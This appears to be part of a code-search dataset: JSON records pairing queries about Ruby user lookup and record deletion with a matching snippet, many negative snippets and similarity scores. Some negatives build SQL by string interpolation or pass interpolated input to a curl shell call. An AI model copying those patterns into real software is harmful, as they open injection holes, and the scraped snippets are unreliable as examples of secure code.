"def user(user_id = nil)\n user_id = username if user_id.nil? || user_id == \"\"\n if user_id.to_i.to_s == user_id.to_s\n users = connection.get(connection.build_url('users', :userids => user_id)).body\n else\n users = connection.get(connection.build_url('users', :logins => user_id)).body\n end\n users.map!{|hash| hash.values.first}\n users.first\n end",
"def find_user(id: nil)\n return users.detect { |user| user.id == id }\n end",
"def find_user_by_id(id)\n users.find_by_id(id)\n end",
"def find_by_id(id)\n users.find { |user| user.id == id } || false\n end",
"def getUserByID(id)\n @Users.each do |usr| \n return usr if usr.ID == id \n end \n\n return nil \n end",
"def user_id\n unless @user_id.nil? || @user_id == 0\n @user_id\n else\n read_attribute(:user_id) # TODO: Might need to cache result\n end\n end",
"def load_user\n i = params[:id].to_i\n @user = i == 0 ? User.find_by_login(params[:id]) : User.find(i)\n end",
"def get_user_id(db, username)\n\tdb.execute(\"SELECT id FROM users WHERE name=? ;\", [username])\nend",
"def getUserByID(id) \n ret = nil\n @Users.each do |user|\n ret = user if user.ID == id \n end \n\n return ret\n end",
"def find_user\n @user = User.find_by(id: params[:id])\n if @user.nil?\n head :not_found\n return\n end\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def find(user_id)\n sql = \"SELECT * FROM users WHERE id=$1\"\n result = Repos.db_adapter.exec(sql, [user_id])\n User.new(result[0][\"name\"], result[0][\"email_address\"], result[0][\"id\"])\n end",
"def find(name)\n @users.fetch(name)\n end",
"def find_user(user)\n user = user_entry(user) if user.is_a?(String)\n case user\n when :anonymous then nil\n when User then user\n when Symbol then users(user)\n when Integer then User.find(user)\n end\n end",
"def find(id)\n index_at = -1\n entry = nil\n\n @users.each_index do |i|\n if @users[i][:user].id == id\n index_at = i\n entry = @users[i]\n break\n end\n end\n\n unless entry.nil?\n entry[:index] = index_at\n end\n\n entry\n end",
"def user_by_name(name)\n @users[name]\n end",
"def find_user\n @user = User.with_username(params[:id]).first\n end",
"def find_user(alias_, nickname=nil)\n if nickname && ['me', 'i', 'my'].include?(alias_)\n alias_ = nickname\n end\n user = @users.get(alias_)\n raise Pagerbot::UserNotFoundError.new(\"I don't know who #{alias_} is.\") unless user\n return user\n end",
"def user_id\n @current_user.id if !@current_user.nil? && users.include?(@current_user)\n users.first.id\n end",
"def find_user(user_id)\n user = User.find(user_id)\n user\n end",
"def nameFromID(user_id, cache)\n\n return cache[user_id] if cache[user_id]\n\n require 'net/http'\n require 'uri'\n\n api_key=ENV[\"FLICKR_API_KEY\"] if ENV[\"FLICKR_API_KEY\"]\n\n uri=\"http://api.flickr.com/services/rest/?method=flickr.people.getInfo&api_key=#{api_key}&user_id=#{user_id}\"\n who = Net::HTTP.get(URI.parse(uri))\n STDERR.puts(\"REST API user lookup: #{uri}\")\n who =~ /<username>(.*)<\\/username>/ # dumbass. use an api. any api!\n name = \"\"\n name = $1 if $1\n cache[user_id] = name\n STDERR.puts(\"Cached user lookup: #{user_id} as '#{name}' \")\n return name\nend",
"def user_id(user)\n # noinspection RubyMismatchedReturnType\n user.is_a?(Integer) ? user : User.id_value(user)&.to_i\n end",
"def get_login_by_user_id(user_id)\n\t@user = User.find(:first ,:select=>\"login\",:conditions=>[\"id=#{user_id}\"])\n return @user.login\n end",
"def get_user(id)\n @users[id]\n end",
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def find_user\n @user = User.find_from_param(params[:user_id])\n rescue ActiveRecord::RecordNotFound\n redirect_to '/' \n end",
"def get_user_id_for_username(username)\n user_id = $db.execute(\"SELECT user_id FROM users WHERE username = ?\", username)\n if user_id != []\n return user_id.first[\"user_id\"]\n else\n return false\n end\nend",
"def userid\n userids&.first\n end",
"def get_user(users, id)\n user = users.select { |f| f[:id] == id }\n user.first\n end",
"def get_user_from_id\n #convert URL id to integer and set into instance var user_id\n @user_id = params[:id].to_i\n #look up the user based on id and cast into instance var\n @user = User.find_by_id(@user_id)\n #if no user found redirect back to previous page with error\n if !@user\n flash[:error] = \"User does not exist\"\n custom_redirect_back\n end\n end",
"def get_user(username, users)\n puts \"Searching for user '#{username}'\"\n users.each do |user|\n return user if user[:username] == username\n end\n puts \"User #{username} not found!\"\n return nil\n end",
"def user_login_to_id(login)\n user = user_from_login(login)\n return user[\"id\"]\n end",
"def get_record_username(user_name)\n return @userlist_table[user_name]\n end",
"def look_for_user(name)\n User.find_by name: name\nend",
"def get_account_id(name)\n # sometimes the name will come in with a SID\n # which will return nil when we call name_to_sid\n # if the user no longer exists\n return unless name\n\n if valid_sid?(name)\n name\n else\n name_to_sid(name)\n end\n end",
"def find_user_by_identity_url(url)\n user_class.first(:identity_url => url)\n end",
"def find_key(name)\n logger.debug \"Finding key #{name}\" if @mydebug\n user.keys.each { |key| return key if key.name == name }\n\n raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def get_user_id(username)\n # .........\n end",
"def _user? name\n\t\tuid = Sdb[:_user].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def find_user(id)\n begin\n User.find(id)\n rescue ActiveRecord::RecordNotFound\n flash[:message] = \"There is no user with ID ##{id}\"\n nil\n end\n end",
"def user_has? name\n\t\tuid = Sdb[:user_info].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def uid(id)\n users.find_index { |u| u.id.eql?(id)}\n end",
"def get_user_from_id(user_id)\n \t\tuser = nil\n \t\tunless user_id.blank?\n\t \t\tcol = :email\n\t \t\tif CONFIG[:enable_username?]\n\t \t\t\tunless is_email(user_id)\n\t \t\t\t\tcol = :username\n\t \t\t\tend\n\t \t\tend\n#\t \t\tp \"Finding user by col: #{col}, user_id = #{user_id}\"\n\t \t\tuser = User.find_by(col => user_id.downcase)\n\t \tend\n\t \tuser\n \tend",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(self, login, client: client)\n end",
"def find_user(username)\n user = User.find(username, current_user)\n raise Error::AppError.new('UsersController.find_user', \"Username #{username} not found\") if user.nil?\n\n user\n end",
"def get_user_or_404(id)\n @user = get_or_404(User, id)\n end",
"def user_id\n username\n end",
"def find_user_by_id(id)\n User.find(id)\n end",
"def get(user_id)\n User.find user_id\n end",
"def named_user(name = context&.user)\n return nil if name.nil?\n\n users.find { |c| c.name == name }\n end",
"def find_user\n return nil if session[:user_id].nil?\n User.find(session[:user_id])\n end",
"def find_user\n return nil if session[:user_id].nil?\n User.find(session[:user_id])\n end",
"def get_username_id(username)\n #puts \"#{@curl} -X GET '#{@url}/people/username/#{username}'\" if @debug\n user_details = Jive_ruby_api.cleanse_security_string(`#{@curl_get_prefix} '#{@url}/people/username/#{username}'`)\n\n #Turn the string into a json object\n user_details = JSON.parse(user_details)\n return user_details['id']\n end",
"def load_user\n if (params[:id].blank?)\n @user = nil\n return @user\n end\n\n @user = User.where(:_id => params[:id]).first\n\n if (@user.blank?)\n # If not found, show an error and redirect\n flash[:error] = t(\"users.error.not_found\")\n redirect_to users_path()\n end\n\n return @user\n end",
"def extract_user_id(params)\n User.find_by_id(params[:user_id]) || User.find_by_email(params[:email]) || nil\n end",
"def get_id(path, user, classname)\n begin \n if classname == \"person\"\n return People.all.first.to_param\n end\n \n object = case classname\n when \"user\"\n user || User.first\n when \"pseud\"\n user.try(:default_pseud) || Pseud.first\n when \"medium\"\n Media.first\n when \"collection\"\n user.owned_collections.first\n when \"restricted_work\"\n Work.where(:restricted => true).in_collection(Collection.find(@last_id)).first\n when \"tag_wrangler\"\n if permit?(\"tag_wrangler\")\n user\n else\n Role.find_by_name(\"tag_wrangler\").users.first\n end\n when \"nomination\"\n TagSetNomination.for_tag_set(OwnedTagSet.find(@last_id)).owned_by(user).first\n when \"setting\"\n AdminSetting.first\n when \"assignment\", \"claim\", \"signup\"\n klass = \"challenge_#{classname}\".classify.constantize\n query = classname == \"assignment\" ? klass.by_offering_user(user) :\n (classname == \"signup\" ? klass.by_user(user) : \n (classname == \"claim\" ? klass.by_claiming_user(user) : nil))\n if path.match('collection')\n query = query.in_collection(Collection.find(@last_id))\n end\n query.first\n when \"item\", \"participant\"\n \"collection_#{classname}\".classify.constantize.where(:collection_id => @last_id).first\n when \"tag_wrangling\", \"user_creation\", \"translator\", \"translation\"\n # not real objects\n nil\n else\n klass = classname.classify.constantize\n if klass.column_names.include?(\"user_id\")\n klass.where(:user_id => user.id).first\n elsif klass.column_names.include?(\"pseud_id\")\n klass.where(:pseud_id => user.default_pseud.id).first\n else\n classname.classify.constantize.first\n end\n end\n\n # return the id\n object.try(:id)\n rescue\n @errors << \"NOT SURE HOW TO FIND #{classname}\"\n nil\n end \n end",
"def user\n return User.current unless user_id\n user = User.get_from_cache(user_id)\n user || User.first({:id => user_id})\n end",
"def show\n @user = User.find_by_username!(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to User.find_by_id!(params[:id]) # forces redirect to path with username if used id on URL\n end",
"def user(id:)\n User.find(id)\n end",
"def get_user_by_id(id)\n $r.hgetall(\"user:#{id}\")\n end",
"def user_id\n # The user id can't be handled by the method_missing magic from\n # OctocatHerder::Base, since the id method returns the object\n # id.\n @raw['id']\n end",
"def find_user_by_id\n if !User.exists? id: params[:id]\n render json: { errors: { user: [\"does not exist\"] } }, status: 422\n end\n end",
"def show\n if params[:id].to_i.to_s == params[:id]\n @user = User.find(params[:id])\n else\n @user = User.find_by(username: params[:id])\n end\n end",
"def find_uiby_username(uname)\n User.all.find do |user|\n if user.username == uname \n user \n end\n end\n end",
"def find_by_credentials(credentials)\n credential = credentials[0].dup\n credential.downcase! if @klass.sorcery_config.downcase_username_before_authenticating\n @klass.sorcery_config.username_attribute_names.each do |name|\n @user = @klass.first(name => credential)\n break if @user\n end\n !!@user ? @klass.get(@user.id) : nil\n end",
"def user_id\n if (id = (@opts[:user_id] || @opts['user_id'])) && id.respond_to?(:to_s)\n if (id = id.to_s).size > 0 && id != '0'\n return id\n end\n end\n end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def find_user\n User.find(params.fetch(:id))\n end",
"def user; User.find_by_id(user_id); end",
"def id\n @data[:user_id]\n end",
"def get_user(name, user_list = users)\n return name if name.instance_of?(GoodData::Membership)\n name.downcase!\n user_list.each do |user|\n return user if user.uri.downcase == name ||\n user.login.downcase == name ||\n user.email.downcase == name\n end\n nil\n end",
"def db_select_user_name(userid)\n\t\t\n\t\t# SQL statement for selecting a userid given a sessionid\n\t\tquery = \"SELECT name FROM users \n\t\t\t\tWHERE userid='%%userid%%';\"\n\t\t\n\t\t# Fill in userid value in the SQL statement\n\t\tquery = query.gsub(/%%userid%%/, PG::Connection.escape_string(userid))\n\t\t\n\t\t# Connect to the database\n \tconn = DBTools.new.connectToDB()\n \t\n \t# Execute SQL Statement\n results = conn.exec(query)\n\t\t\n\t\t# If the userid is not found (0 results)\n if (results.ntuples == 0)\n \tresults.clear()\n conn.finish()\n raise \"Invalid sessionid.\"\n \n # Query successful\n else\n \tuserid = results[0]['name']\n \tresults.clear()\n \tconn.finish()\n \treturn userid\n end\n\tend",
"def find_user\n User.find_by_id(params[:id])\n end",
"def user_id\n @values.fetch('userId') { \n @values['userId'] = nil\n }\n end",
"def find_user_by_id(id = 'my', params = {})\n object_from_response(Code42::User, :get, \"user/#{id}\", params)\n end",
"def find_user\n return User.all if params[:user_id].nil?\n\n User.find(params[:user_id])\n end",
"def get_user(name)\n @model.find_by(name: name)\n end"
] | [
"0.742391",
"0.7268961",
"0.6915439",
"0.6801867",
"0.6695053",
"0.6630163",
"0.6609127",
"0.6574889",
"0.6550067",
"0.6536255",
"0.6447911",
"0.64220387",
"0.6378892",
"0.6321503",
"0.63113606",
"0.62913406",
"0.62719136",
"0.6215256",
"0.6186603",
"0.618168",
"0.6174891",
"0.6160931",
"0.61541426",
"0.61476964",
"0.61242384",
"0.6089352",
"0.6087575",
"0.60856706",
"0.6068463",
"0.6066011",
"0.60130805",
"0.59962165",
"0.59880465",
"0.59880465",
"0.5962375",
"0.5961015",
"0.5953819",
"0.59530413",
"0.5949561",
"0.594846",
"0.5942158",
"0.59401697",
"0.5920634",
"0.591741",
"0.5902432",
"0.5897087",
"0.58897597",
"0.58843344",
"0.5872661",
"0.5866835",
"0.58601063",
"0.5856875",
"0.585405",
"0.5847995",
"0.5847126",
"0.58347034",
"0.58306813",
"0.58248264",
"0.582233",
"0.5803775",
"0.57963234",
"0.57933044",
"0.5791853",
"0.57803535",
"0.5778638",
"0.57684124",
"0.57622707",
"0.57619876",
"0.57601196",
"0.57496244",
"0.57284486",
"0.5718222",
"0.5714106",
"0.5704015",
"0.5704015",
"0.5693296",
"0.568894",
"0.56828666",
"0.568241",
"0.5679141",
"0.5663646",
"0.5663512",
"0.5650862",
"0.5650812",
"0.56357634",
"0.5633864",
"0.5621878",
"0.5613206",
"0.5612447",
"0.5607509",
"0.56050646",
"0.5602886",
"0.55968165",
"0.5594415",
"0.55933857",
"0.5592391",
"0.55853105",
"0.55756897",
"0.55698663",
"0.5569289"
] | 0.6163922 | 21 |
SUGGESTION: make sure PublicActivity record gets deleted too? | def destroy
if @phrase.destroy
flash[:notice] = 'Phrase has been deleted'
redirect_to user_path(@phrase.user)
else
flash[:danger] = @phrase.errors.full_messages.to_sentence
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete; raise ActiveRecord::ReadOnlyRecord; end",
"def destroy\n # @activity.destroy\n # instead lets be lets be more gentle:\n @activity.archived = true;\n @activity.save\n respond_to do |format|\n format.html { redirect_to(:action => 'index', :page => params[:page] || 1) }\n format.xml { head :ok }\n end\n end",
"def before_destroy; raise ActiveRecord::ReadOnlyRecord; end",
"def before_destroy_org\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller\n\n current_user = PublicActivity.get_controller.current_user\n activity = current_user.create_activity :destroy, owner: current_user,trackable: current_user.organization, params: {:detail => I18n.t('logs.destroy_org', org_name: self.name)}\n activity.organization_id = current_user.organization_id\n activity.save\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n\n if @activity.created_at < 1.day.ago\n \tauthorize! :edit, @activity\n end\n end",
"def destroy\n raise ActiveRecord::ReadOnlyRecord, 'Cannot delete historical records' if historical?\n super\n end",
"def destroy\n raise ActiveRecord::ReadOnlyRecord, 'Cannot delete historical records' if historical?\n super\n end",
"def destroy\n raise ActiveRecord::ReadOnlyRecord, 'Cannot delete historical records'\n end",
"def delete\n raise ActiveRecord::ReadOnlyRecord\n end",
"def delete\n raise ActiveRecord::ReadOnlyRecord\n end",
"def delete\n raise ActiveRecord::ReadOnlyRecord\n end",
"def destroy\n raise ActiveRecord::ReadOnlyRecord\n end",
"def before_destroy\n raise ActiveRecord::ReadOnlyRecord\n end",
"def before_destroy\n raise ActiveRecord::ReadOnlyRecord\n end",
"def flag_as_deleted!\n set(:deleted, true)\n end",
"def before_delete_record(record)\n true\n end",
"def delete_by!(actor)\n destroy ? create_delete_activities!(actor) : false\n end",
"def delete_by!(actor)\n destroy ? create_delete_activities!(actor) : false\n end",
"def check_if_deleted\n raise ActiveRecord::ReadOnlyRecord unless deleted?\n end",
"def delete!\n update_attributes(:visibility => DELETED)\n end",
"def delete_activity(db, act_id)\n\tdb.execute(\"DELETE FROM activities WHERE id=?\", [act_id])\nend",
"def soft_deleting_work\n # be sure to clear plan_member_id\n self.plan_member.destroy if self.plan_member\n self.update_attribute(:deleted_at, Time.now)\n end",
"def destroy\n if _immutable?\n raise ActiveRecord::ReadOnlyRecord \n else\n super\n end\n end",
"def cannot_be_deleted\n return false if self.id == 1\n end",
"def deleted?\n false\n end",
"def delete_activities\n self.activities.delete_all\n end",
"def destroy\n\n if @activity.nil?\n send_error_json(nil, \"Delete error\", 400)\n return\n end\n\n currid = @activity.id\n\n if @activity.destroy\n send_success_json(currid, {})\n else\n send_error_json(currid, \"Delete error\", 400)\n end\n end",
"def unpublished; end",
"def after_soft_delete; end",
"def delete\n \n end",
"def set_activity\n @activity = Activity.with_deleted.find(params[:id])\n end",
"def destroy\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n self.is_deleted = true\n self.deleted_datetime = DateTime.now \n self.save\n \n # revert the effect \n case self.transaction_entry_code\n when TRANSACTION_ENTRY_CODE[:weekly_saving] # in \n \n when TRANSACTION_ENTRY_CODE[:extra_weekly_saving] # in \n member.deduct_compulsory_savings( self ) \n when TRANSACTION_ENTRY_CODE[:soft_savings_withdrawal] # out \n member.add_extra_savings( self )\n end\n \n end",
"def destroy\n if Activity.exists?(uuid: params[:id])\n @activity = Activity.find_by(uuid: params[:id])\n @activity.destroy\n end\n end",
"def delete_from_twitter\n self.post_at = nil\n if valid?\n ActiveRecord::Base.transaction do\n self.published = false\n self.published_at = nil\n self.save!\n client.destroy_status(tweet_id) if tweet_id.present?\n end\n return true\n else\n return false\n end\n end",
"def before_destroy\n return false unless super\n\n parent = self.parent\n parent.comment_count -= 1\n parent.skip_timestamp_update = true\n parent.save\n\n true\n end",
"def not_active_on_create!\n self.deleted_at ||= Time.zone.now\n end",
"def deleted?\n end",
"def deleted?\n end",
"def delete_bad_link(record, link)\n record.send(link.to_s+\"_id=\", nil)\n#@report << \"Delete bad link: #{link.to_s+'_id='}nil, changed? = #{record.changed?}\\n\"\n end",
"def delete_activity(slug = nil)\n # Check that user has authenticated\n @local_auth_error = local_auth_error\n return Hash[@error => @local_auth_error] if @local_auth_error\n\n return Hash[@error => 'missing slug; please add to method call'] unless slug\n\n delete_object('activities', slug)\n end",
"def test_valid_delete_returns_204\n db = DB.get\n\n valid_entry = SEED_ENTRIES.first\n insert_entry(db, valid_entry)\n\n assert_equal 1, db.execute('select * from entries').count\n\n delete \"/api/entries/#{valid_entry[:slug]}\"\n assert last_response.no_content?\n\n assert_equal 0, db.execute('select * from entries').count\n end",
"def unpublish_self\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end",
"def destroy\n @document.create_activity :destroy, owner: current_user\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n\t\tauthorize! :destroy, @activity\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if current_user.activity_ids.include?(params[:id].to_i)\n @activity = current_user.activities.find(params[:id])\n elsif current_user.admin?\n @activity = Activity.find(params[:id])\n else\n redirect_to root_path, :notice => \"Not authorized\"\n end\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # only the owner can destroy his / her activity\n if current_user.id == @activity.user_id\n # also delete all goingtoactivities that have this actvity\n Goingtoactivity.where(activity_id: @activity.id).delete_all\n # also delete all comments of that activity\n Comments.where(activity_id: @activity.id).delete_all\n\n @activity.destroy\n respond_to do |format|\n format.json { render :json => {:success=>true, :message=>\"Activity was successfully destroyed.\"} }\n end\n # TODO: what if the activity wasn't successfully destroyed?\n else\n respond_to do |format|\n format.json { render :json => {:success=>false, :message=>\"You are not the owner of this activity.\"} }\n end\n end\n end",
"def mark_as_not_deleted\n update_attributes(:deleted => false)\n end",
"def mark_as_not_deleted\n update_attributes(:deleted => false)\n end",
"def soft_delete\n ActiveRecord::Base.record_timestamps = false\n self.deleted_at = Time.now\n self.save\n ActiveRecord::Base.record_timestamps = true\n end",
"def allowed_to_destroy \n allowed_to_save\n end",
"def unpublish!\n self.published = false\n self.previously_published = false\n save(:validate => false)\n end",
"def delete\n self.is_deleted = true\n save :validate => false\n true\n end",
"def destroy\n @activity = Activity.find(params[:id])\n access_denied unless current_user.is_admin? or @activity.user_id == current_user.id\n @activity.delete!\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.js {\n render :update do |page|\n page.remove 'activity_and_comments_' + @activity.id.to_s\n end \n }\n end\n end",
"def destroy\n deleted_url = @localvdo.video.url \n vdo_obj = Video.where(local_link: deleted_url).all\n vdo_obj.each do |vdo|\n vdo.inLocal = false\n vdo.local_link = \"\"\n vdo.save!\n end\n @localvdo.destroy\n @user = User.find(session[:user_id])\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end",
"def register_activity_for_deletion(id_or_url)\n return unless allow_registration\n\n id = id_or_url.to_s.start_with?('http') ? id_or_url.split('/').last : id_or_url\n activities_needing_removed << id\n end",
"def destroy\n @retail.published = false\n @retail.save\n\n respond_to do |format|\n format.html { redirect_to retails_url }\n format.json { head :no_content }\n end\n end",
"def enforce_delete_permissions\n enforce_edit_permissions\n end",
"def delete; update(:status => 'DELETED'); end",
"def soft_delete \n update_attribute(:deleted_at, Time.current) \n end",
"def soft_delete \n update_attribute(:deleted_at, Time.current) \n end",
"def destroy\n self.class.where(:id => self.id).update_all(:is_mirrored => false) if self.is_mirrored?\n super\n end",
"def remove_depricated\n self.articles.each do |a|\n unless ((a.created_at + 3.days) > Date.today) \n self.articles.delete(a)\n end\n end\n\tend",
"def delete \n orientdb.delete_record self \nend",
"def destroy\n self.update_attribute(:deleted, true)\n self.update_attribute(:deleted_at, Time.now)\n end",
"def unpublish\n self.published = false\n end",
"def soft_delete\n update_attribute(:deleted_at, Time.current)\n end",
"def mark_as_deleted\n update_attributes(:deleted => true)\n end",
"def mark_as_deleted\n update_attributes(:deleted => true)\n end",
"def soft_delete\n self.active = false\n save\n end",
"def delete!\n self.deleted = true\n save\n end",
"def deleted(build)\n end",
"def destroy\n @activity_record.destroy\n respond_to do |format|\n format.html { redirect_to activity_records_url, notice: 'Activity record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n # mark each version of the history as deleted, not just the most recent one\n @patient.histories\n .where(original_comment_id: @history.original_comment_id)\n .update_all({ deleted_by: current_user.email, delete_reason: params.permit(:delete_reason)[:delete_reason], updated_at: DateTime.now })\n end",
"def internal_delete_object\n if self.transaction_activity.is_confirmed?\n self.errors.add(:generic_errors, \"Transaction sudah di konfirmasi\")\n return self \n end\n \n self.destroy \n end",
"def ensure_active\n run_callbacks(:destroy) do\n update_attribute(:deleted_at, nil)\n end\n end",
"def destroy_activity\n @activity = Activity.find(params[:id])\n @activity.destroy\n end",
"def delete\n deleted\n save\n end",
"def before_destroy_group\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller\n\n current_user = PublicActivity.get_controller.current_user\n\n self.create_activity :destroy, owner: current_user,organization_id: self.organization_id, params: {:detail => I18n.t('logs.destroy_group', group_name: self.name)}\n end",
"def soft_delete\n update_attribute(:deleted_at, Time.current)\n end",
"def unpublish_revisions\n #Unpublish us\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n #Unpublish the revisions\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end",
"def update\n if @activity\n if @activity.delete\n head :no_content\n else\n head :gone\n end\n else\n head :unprocessable_entity\n end\n\n end",
"def delete_cache\n if self.id != nil && current_user != nil\n cache_key = \"activities/Users/#{current_user.id}/#{self.class.name}/#{self.id}-#{(self.updated_at.to_f * 1000).round(0)}\"\n Chorus.log_debug \"-- BEFORE SAVE: Clearing cache for #{self.class.name} with ID = #{self.id} --\"\n Rails.cache.delete(cache_key)\n return true # Prevent a missing key from the callback chain\n end\n end",
"def check_before_destroy\n\n #check that there aren't documents of the type\n if Content.all({:limit => 1, :offset => 0}).length > 0\n throw :halt\n end\n\n end",
"def destroy\n @user_activity = current_user.user_activities.find_by(user_id: current_user.id)\n\n if @activity.owner_id == current_user.id\n @activity.destroy\n elsif !@user_activity.nil?\n @user_activity.destroy\n else\n render file: 'app/views/errors/forbidden_access.html', status: :unauthorized\n end\n\n respond_to do |format|\n format.html { redirect_to list_user_activities_path, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def unshare\n self.slug = nil\n self.published_at = nil\n end",
"def delete\n \n end",
"def soft_destroy\n return if home_page?\n \n ActiveRecord::Base.transaction do\n # Make latest revision current, delete all others\n latest_revision = revisions.current.clone\n revisions.destroy_all\n latest_revision.revision_number = 1\n latest_revision.instance_eval { create_without_callbacks } # private method\n \n reprocess_page_content_age_diff\n \n discussions.destroy_all\n \n self.deleted = true\n update_without_callbacks\n end\n end",
"def check_and_destroy\n errors.clear\n if self.new_record?\n errors.add(:base, :problem_destroying)\n return false\n end\n if self.is_public\n errors.add(:base, :cant_destroy_public)\n return false\n end\n old_id = self.id\n begin\n self.destroy\n rescue StandardError\n errors.add(:base, :problem_destroying)\n return false\n end\n if MediaElement.exists?(old_id)\n errors.add(:base, :problem_destroying)\n return false\n end\n true\n end",
"def unpublish!\n self.is_published = false\n save\n end",
"def destroy\n @dev_activity.destroy\n respond_to do |format|\n format.html { redirect_to dev_activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_activity = MyActivity.find(params[:id])\n @my_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to my_activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n flash[:success] = \"Activity deleted\"\n\n format.html { redirect_to(people_url(current_user)) }\n end",
"def test_deleted\n assert_difference('User.count', -1 , \"Delete False\") do\n user = User.find(980190962);\n user.delete\n end\n end",
"def mark_for_cleanup\n add_accounts_from_activities\n end",
"def entry_not_deleted\n if DeletedEntry.where('feed_id = ? AND (guid = ? OR unique_hash = ?)', self.feed_id, self.guid, self.unique_hash).exists?\n Rails.logger.debug \"Entry not valid: already deleted entry - guid: #{self.try :guid}, unique_hash: #{self.try :unique_hash}, published: #{self.try :published}, feed_id: #{self.feed_id}, feed title: #{self.feed.title}\"\n errors.add :base, 'entry already deleted'\n end\n end",
"def destroy?\n Asset.belongs_to_current_user(@user).exists?(@record.id)\n end",
"def destroy! #TODO\n destroy || raise(ActiveRecord::RecordNotDestroyed)\n end",
"def mark_as_not_deleted\n update_attributes(deleted: false)\n end",
"def delete\n self.update(active: false)\n end",
"def delete\n self.update(active: false)\n end"
] | [
"0.6610744",
"0.651687",
"0.64407146",
"0.6301611",
"0.62699234",
"0.62398374",
"0.62398374",
"0.61898977",
"0.61278117",
"0.61278117",
"0.61278117",
"0.60906196",
"0.60779715",
"0.60779715",
"0.6059627",
"0.60298806",
"0.59982455",
"0.59982455",
"0.59908015",
"0.5964177",
"0.5919068",
"0.59099597",
"0.5902596",
"0.58861476",
"0.5880954",
"0.5877657",
"0.5846971",
"0.58417064",
"0.58238524",
"0.58134586",
"0.57999045",
"0.5786529",
"0.57782817",
"0.57580066",
"0.5740504",
"0.57357293",
"0.57323873",
"0.57286495",
"0.57286495",
"0.5725092",
"0.5724831",
"0.57173216",
"0.5695875",
"0.5681993",
"0.56771785",
"0.5672975",
"0.56716245",
"0.56690466",
"0.56690466",
"0.56672114",
"0.5662104",
"0.5652388",
"0.5637249",
"0.5633358",
"0.5631769",
"0.5631364",
"0.56310064",
"0.5604954",
"0.5599529",
"0.55946815",
"0.55946815",
"0.5587068",
"0.5585112",
"0.5579879",
"0.5577671",
"0.55768156",
"0.55766684",
"0.5564918",
"0.5564918",
"0.5564755",
"0.5561846",
"0.55573636",
"0.55549604",
"0.55499643",
"0.5546199",
"0.5545398",
"0.55388427",
"0.5537878",
"0.55370945",
"0.55340713",
"0.5532932",
"0.5532175",
"0.5531364",
"0.55308694",
"0.55193263",
"0.55175066",
"0.5516933",
"0.5513987",
"0.5499468",
"0.5495531",
"0.5493377",
"0.5493134",
"0.5487737",
"0.5485546",
"0.5485505",
"0.5485403",
"0.54777795",
"0.5477349",
"0.5476568",
"0.54759187",
"0.54759187"
] | 0.0 | -1 |
Allow users to vote for phrases | def vote
shared_vote(params[:vote], @phrase, current_user)
redirect_back(fallback_location: root_path)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def all_phrases\n mario\n toadstool\n link\nend",
"def all_phrases\n mario\n toadstool\n link\nend",
"def vote\n id = params[:id]\n @tweet = Tweet.find(id)\n selection = params[:selection]\n #Check if the user already liked this tweet\n if (@tweet.like.present? and @tweet.like.include? current_user.email) or (@tweet.dislike.present? and @tweet.dislike.include? current_user.email)\n if selection == \"up\" \n @tweet.like.delete(current_user.email)\n elsif selection == \"down\"\n @tweet.dislike.delete(current_user.email)\n end\n else\n if selection == \"up\" \n @tweet.like = [] if [email protected]\n @tweet.like << current_user.email \n elsif selection == \"down\"\n @tweet.dislike = [] if [email protected]\n @tweet.dislike << current_user.email\n end\n end\n @tweet.save!\n end",
"def search_terms\n \"#vote #{poll_tag}\"\n end",
"def vote\n\tend",
"def verb\n \"like\"\n end",
"def vote\n return unless logged_in?\n @snippet = Snippet.find(params[:id])\n unless @snippet.voted_by_user?(current_user)\n @vote = Vote.new(:vote => params[:vote] == \"for\")\n @vote.user_id = current_user.id\n # @snippet.how_truthful = @snippet.votes_for / @snippet.votes_count\n @snippet.votes << @vote\n end\n end",
"def humanify_vote(vote)\n return \"for\" if vote == \"aye\"\n \"against\"\nend",
"def vote\n puts \"-----------------------------------------------\nSorry, voting system is currently not working\"\n \nend",
"def phrase_params\n params.permit(:phrase, :language, :user_id)\n end",
"def all_phrases ()\n puts mario\n puts toadstool\n puts link\nend",
